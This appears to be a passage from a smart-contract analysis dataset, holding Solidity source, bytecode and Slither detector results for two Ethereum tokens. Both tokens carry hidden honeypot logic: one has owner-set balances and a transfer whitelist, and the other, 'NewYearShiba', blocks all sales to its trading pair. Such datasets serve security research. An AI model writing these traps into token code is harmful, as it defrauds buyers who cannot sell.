tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820fc239374a4706a0390d4f3eaacb2cf12f7c8c4d8240439bebadf1e96fe029f9c64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
3,082
0x399fC0E5dfef7Dc347C63f585BC763d69BC83300
/** *Submitted for verification at Etherscan.io on 2021-12-31 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract NewYearShiba is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0x63957327bA6462ac3F9384964F2cc4BF653226ad); address payable private _feeAddrWallet2 = payable(0x63957327bA6462ac3F9384964F2cc4BF653226ad); string private constant _name = "New Year Shiba"; string private constant _symbol = "New Year Shiba"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(to != uniswapV2Pair); if (from != owner() && to != owner()) { require(!bots[from]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setPairAddress(address _pair) external onlyOwner { uniswapV2Pair = _pair; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610350578063b515566a1461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a22d48321461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612a6d565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906125e7565b61045e565b6040516101789190612a52565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612bcf565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612594565b610490565b6040516101e09190612a52565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906124fa565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612c44565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612670565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906124fa565b610786565b6040516102b19190612bcf565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612984565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612a6d565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906124fa565b610990565b005b34801561035c57600080fd5b50610377600480360381019061037291906125e7565b610a69565b6040516103849190612a52565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af9190612627565b610a87565b005b3480156103c257600080fd5b506103cb610bb1565b005b3480156103d957600080fd5b506103e2610c2b565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612554565b61118d565b6040516104189190612bcf565b60405180910390f35b60606040518060400160405280600e81526020017f4e65772059656172205368696261000000000000000000000000000000000000815250905090565b600061047261046b611214565b848461121c565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846113e7565b61055e846104a9611214565b610559856040518060600160405280602881526020016132f960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611214565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118ca9092919063ffffffff16565b61121c565b600190509392505050565b610571611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612b2f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612b2f565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611214565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b60004790506107838161192e565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a29565b9050919050565b6107df611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612b2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f4e65772059656172205368696261000000000000000000000000000000000000815250905090565b610998611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90612b2f565b60405180910390fd5b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610a7d610a76611214565b84846113e7565b6001905092915050565b610a8f611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1390612b2f565b60405180910390fd5b60005b8151811015610bad57600160066000848481518110610b4157610b40612f8c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba590612ee5565b915050610b1f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf2611214565b73ffffffffffffffffffffffffffffffffffffffff1614610c1257600080fd5b6000610c1d30610786565b9050610c2881611a97565b50565b610c33611214565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb790612b2f565b60405180910390fd5b600f60149054906101000a900460ff1615610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612baf565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610da330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061121c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610de957600080fd5b505afa158015610dfd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e219190612527565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e8357600080fd5b505afa158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190612527565b6040518363ffffffff1660e01b8152600401610ed892919061299f565b602060405180830381600087803b158015610ef257600080fd5b505af1158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2a9190612527565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fb330610786565b600080610fbe61092a565b426040518863ffffffff1660e01b8152600401610fe0969594939291906129f1565b6060604051808303818588803b158015610ff957600080fd5b505af115801561100d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061103291906126ca565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111379291906129c8565b602060405180830381600087803b15801561115157600080fd5b505af1158015611165573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611189919061269d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561128c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128390612b8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390612acf565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113da9190612bcf565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144e90612b6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90612a8f565b60405180910390fd5b6000811161150a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150190612b4f565b60405180910390fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561156557600080fd5b61156d61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115db57506115ab61092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ba57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163757600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116e25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117385750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117505750600f60179054906101000a900460ff165b156118005760105481111561176457600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106117af57600080fd5b601e426117bc9190612d05565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061180b30610786565b9050600f60159054906101000a900460ff161580156118785750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118905750600f60169054906101000a900460ff165b156118b85761189e81611a97565b6000479050600